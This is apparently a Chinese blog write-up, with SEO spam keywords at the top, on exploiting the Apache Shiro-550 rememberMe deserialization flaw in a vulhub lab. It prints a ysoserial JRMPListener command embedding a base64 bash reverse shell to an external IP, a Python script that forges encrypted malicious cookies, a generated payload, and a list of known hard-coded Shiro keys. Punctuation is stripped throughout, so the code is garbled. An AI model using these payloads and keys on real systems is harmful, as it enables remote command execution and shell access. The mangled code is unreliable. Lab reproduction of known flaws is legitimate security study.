民族文化网站建设的作用,咨询公司网站,网络运营商有哪几家,正则表达式 网站地址目录
Shiro简介
复现流程
工具一把梭
半脚本半手动
原理分析
反序列化入口
常见的key
登录过程
验证过程
利用原理 Shiro简介
Apache Shiro 是一个强大且易于使用的 Java 安全框架#xff0c;用于身份验证、授权、加密和会话管理等安全功能。Shiro 的设计目标是简单…目录
Shiro简介
复现流程
工具一把梭
半脚本半手动
原理分析
反序列化入口
常见的key
登录过程
验证过程
利用原理 Shiro简介
Apache Shiro 是一个强大且易于使用的 Java 安全框架用于身份验证、授权、加密和会话管理等安全功能。Shiro 的设计目标是简单直观同时提供了全面的安全功能能够帮助开发者轻松地添加安全性到他们的应用程序中。
主要特点包括 认证AuthenticationShiro 提供了灵活且易于使用的认证机制支持多种认证方式包括基于用户名密码的认证、LDAP 认证、OAuth 认证等。 授权AuthorizationShiro 支持基于角色和权限的访问控制可以定义细粒度的权限控制策略保护应用程序中的资源。 会话管理Session ManagementShiro 管理用户会话支持本地会话存储、集群环境下的分布式会话管理并提供了会话超时、定时清理等功能。 加密CryptographyShiro 提供了常用的加密算法和工具类用于处理密码加密、数据加密等安全需求。 Web 支持Shiro 提供了与 Web 框架集成的支持可以很方便地在 Web 应用中使用 Shiro 进行安全控制。 复现流程
工具一把梭
启动vulhub靶场 先爆破密钥(shiro550的key是固定的硬编码) 再探测利用链 最后直接拿到shell命令执行 半脚本半手动
启动vulhub靶场 Runtime.exec Payload Generater | AresXs Blog
先用这个网站生成给ysoserial用的payload 用ysoserial启动一个JRMP服务器
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDAJjE}|{base64,-d}|{bash,-i}用这个脚本跑恶意cookie的payload(作用是连接到ysoserial启动的服务器)
#define PY_SSIZE_T_CLEAN
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):# 打开JRMP客户端连接到特定端口popen subprocess.Popen([java, -jar, ysoserial.jar, JRMPClient, command], stdoutsubprocess.PIPE)# 用获取到的key AES加密BS AES.block_sizepad lambda s: s ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key base64.b64decode(kPHbIxk5D2deZiIxcaaaA)# 生成随机16位长度的IViv uuid.uuid4().bytesencryptor AES.new(key, AES.MODE_CBC, iv)file_body pad(popen.stdout.read())# base64编码base64_ciphertext base64.b64encode(iv encryptor.encrypt(file_body))return base64_ciphertextif __name__ __main__:payload encode_rememberme(sys.argv[1])
print(rememberMe{0}.format(payload.decode()))
python shiro.py 124.222.136.33:8888 生成的payload:
rememberMeXdqwyPART24Wzqx6uxQbITZbqHNJDvYx8kyu7dAAlwMgUX5dqy3ajClFgQnOkw/vXv9Rohr1fGqnMp0032QNU9gIUPLr3trRQf0g1wq43QtV2tIlU8EHyjlEZmv1vXygubJJxaehwwKV9hNY4a/ILKzHTBN8elVvS3wnN58fKieJHGHItEZlfPqvXbvZYtr5mZvw5Bqg9yoGdyl6i4XjtBZwqqGgJ2Ea3Dmsm1Iy63RUwOagGlKBkE1kfufF3iJk/Xkz3nlTWfT5Pc0eRdjpudTQ2XDCJhBuVnwXPYUVX6UmMmRIUUBAHvZyFL/N8L1Ibrb5KfTybgwTtTbv3215WxvUroQmACFNJFC3aDR1ep4aPrZ0TA9NvOCjV2dJ22Tcrdzo34Yv3Hg最后在靶机登录时勾选rememberme(不要求能登录成功只要让cookie反序列化就行) bp抓包改cookie 监听下1337端口成功反弹shell 原理分析
反序列化入口
remember me 序列化 - AES加密 - Base64编码 - 写入Cookie 身份认证 Cookie值 -Base64解码 - AES解密 - 反序列化 常见的key
kPHbIxk5D2deZiIxcaaaA (1.2.4默认key) 2AvVhdsgUs0FSA3SDFAdag 4AvVhmFLUs0KTA3Kprsdag 3AvVhmFLUs0KTA3Kprsdag wGiHplamyXlVB11UXWol8g Z3VucwAAAAAAAAAAAAAAAA 6ZmI6I2j5YR5aSn5ZOlAA ZUdsaGJuSmxibVI2ZHc9PQ 1QWLxgNYmxraMoxAXu/Iw 登录过程 验证过程 利用原理 1、先构建一个恶意命令它的作用是让漏洞服务器连接到我们启动的JRMP服务器 2、把这个命令序列化、AES加密、base64编码payload2写入到Cookie发给漏洞服务器 3、漏洞服务器base64解码、AES解密、反序列化执行恶意命令连接到JRMP服务器 4、JRMP服务器继续发送恶意payload1利用CC等通用库的漏洞执行命令